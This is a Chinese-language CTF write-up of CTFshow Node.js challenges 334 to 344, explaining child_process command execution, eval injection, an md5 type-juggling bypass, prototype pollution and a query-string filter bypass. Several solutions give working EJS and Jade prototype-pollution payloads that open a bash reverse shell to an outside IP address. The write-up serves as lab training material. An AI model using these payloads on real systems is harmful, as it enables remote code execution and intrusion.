CTFshowNodejs
nodejs
首先要知道nodejs是啥,其实就是javascript的后端版本
一些有的没的的入门知识
nodejs调用系统命令的方式
如果你要是使用nodejs,你需要调用引用child_process
模块:
var exec = require('child_process').exec;
var cmd = 'prince -v builds/pdf/book.html -o builds/pdf/book.pdf';
exec(cmd, function(error, stdout, stderr) {
// 获取命令执行的输出
});
这里使用的是child_process.exec
来在nodejs程序里执行系统命令。如果你想在shell里执行命令并且要处理命令输出的I/O数据流,输出的体积比较大的话,我们需要使用child_process.spawn
:
var spawn = require('child_process').spawn;
var child = spawn('prince', [
'-v', 'builds/pdf/book.html',
'-o', 'builds/pdf/book.pdf'
]);
child.stdout.on('data', function(chunk) {
// output will be here in chunks
});
// or if you want to send output elsewhere
child.stdout.pipe(dest);
如果你想在nodejs里执行的是一个文件,而不是一个简单的命令,那你就需要使用child_process.execFile
,这个方法的参数几乎和spawn
一样,只是多了第四个回调函数参数,和exec
里的回调函数参数一样:
var execFile = require('child_process').execFile;
execFile(file, args, options, function(error, stdout, stderr) {
// command output is in stdout
});
上面的这些方法在nodejs里都是异步执行的,到但有时候我们需要同步执行一些任务,下面的一些代码例子是使用同步的方法调用系统命令执行任务:
'use strict';
const
spawn = require( 'child_process' ).spawnSync,
ls = spawn( 'ls', [ '-lh', '/usr' ] );
console.log( `stderr: ${ls.stderr.toString()}` );
console.log( `stdout: ${ls.stdout.toString()}` );
const execSync = require('child_process').execSync;
var cmd = execSync('prince -v builds/pdf/book.html -o builds/pdf/book.pdf');
简单来说,调用系统命令传入的方法是
在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
334
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
直接小写就行ctfshow+123456
335
看源代码发现eval参数,尝试传入ls回显未找到文件,传入1+1回显2,怀疑执行了nodejs中的eval函数
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
构造一个系统命令执行的payload
require("child_process").execSync('ls')
拿到文件名直接cat就行
336
同上题不过增加了过滤
换一个方法
require('child_process').spawnSync('ls', []).stdout.toString()
337
源码在此
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
要求就是传入的ab长度相等,内容不想等,加上flag字符串变量后md5运算的结果相同
在javascript中加法的规则很简单,只能数字与数字相加或字符串和字符串相加;所有其他类型的值都会自动转换成这两个类型的值。而对象类型经过toString转换后结果为[object Object]字符串
所以最终传入两个数组即可
payload:?a[x]=1&b[x]=2
为啥数组的键值不能是数字
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}
338
原型链污染
//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
utils.copy(user,req.body);
这个和merge差不多
payload:
POST
{"__proto__":{"ctfshow":"36dboy"}}
339
//login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
这要让ctfshow=flag变量,我不行捏,看看旁边的app.js
//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
- Function(“console.log(‘HelloWolrd’)”)()
类似于php中的create_function
对于ejs渲染引擎来说,对opts有原型链污染漏洞
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
这里我们就可以污染outputFunctionName来执行恶意代码
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}
通过login污染再通过api渲染调用
340
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
这里要向上污染两层才行,其他的都和上面一样
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}}
341
没有api了,直接ejs的rce
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"');var __tmp2"}}}
342,343
不是ejs渲染模版了
是jade渲染模版,找jade的原型链污染rce
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/45.15.131.101/2337 0>&1\"')"}}}
344
源码
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
根据源码我们正常情况下需要传?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。